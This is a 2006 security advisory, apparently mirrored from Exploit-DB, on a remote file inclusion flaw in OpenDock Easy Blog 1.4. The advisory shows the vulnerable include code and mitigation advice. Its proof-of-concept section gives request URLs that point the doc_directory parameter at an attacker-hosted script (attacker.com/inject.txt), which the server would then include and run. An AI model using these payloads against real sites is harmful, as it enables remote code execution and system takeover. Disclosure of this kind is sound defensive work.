ECHO_ADV_50$2006

vendor:

Easy Blog

by:

Dedi Dwianto

CVSS

CRITICAL

Multiple Remote File Inclusion Vulnerability

CWE

Product Name: Easy Blog

Affected Version From: 1.4

Affected Version To: 1.4

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Input passed to the "$doc_directory" parameter in file.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Mitigation:

Input validation should be performed to ensure that untrusted input is not used to access local or external resources.

Source

Exploit-DB raw data:

ECHO_ADV_50$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : October, 09th 2006
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv50-theday-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : OpenDock Easy Blog
version         : <=1.4
URL             : http://web.opendock.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

In folder sw/lib_up_file/ I found vulnerability script file.php
--------------------------file.php---------------------------------------
....
<?

 include $doc_directory.$path_sw."lib_up_file/lib_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
 include $doc_directory.$path_sw."lib_up_file/find_file.php";
 include $doc_directory.$path_sw."lib_up_file/down_stat.php";

...
----------------------------------------------------------

Input passed to the "$doc_directory" parameter in file.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_up_file/down_stat.php
sw/lib_up_file/file.php
sw/lib_up_file/find_file.php
sw/lib_up_file/lib_read_file.php
sw/lib_up_file/lib_form_file.php
sw/lib_comment/find_comment.php
sw/lib_comment/comment.php
sw/lib_comment/lib_comment.php
sw/lib_find/find.php
etc..



Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?

Solution:
~~~~~~
- Sanitize variable $doc_directory on affected files.
- Turn off register_globals

Timeline:
~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
    EcHo Research & Development Center
    the_day[at]echo[dot]or[dot]id

# milw0rm.com [2006-10-09]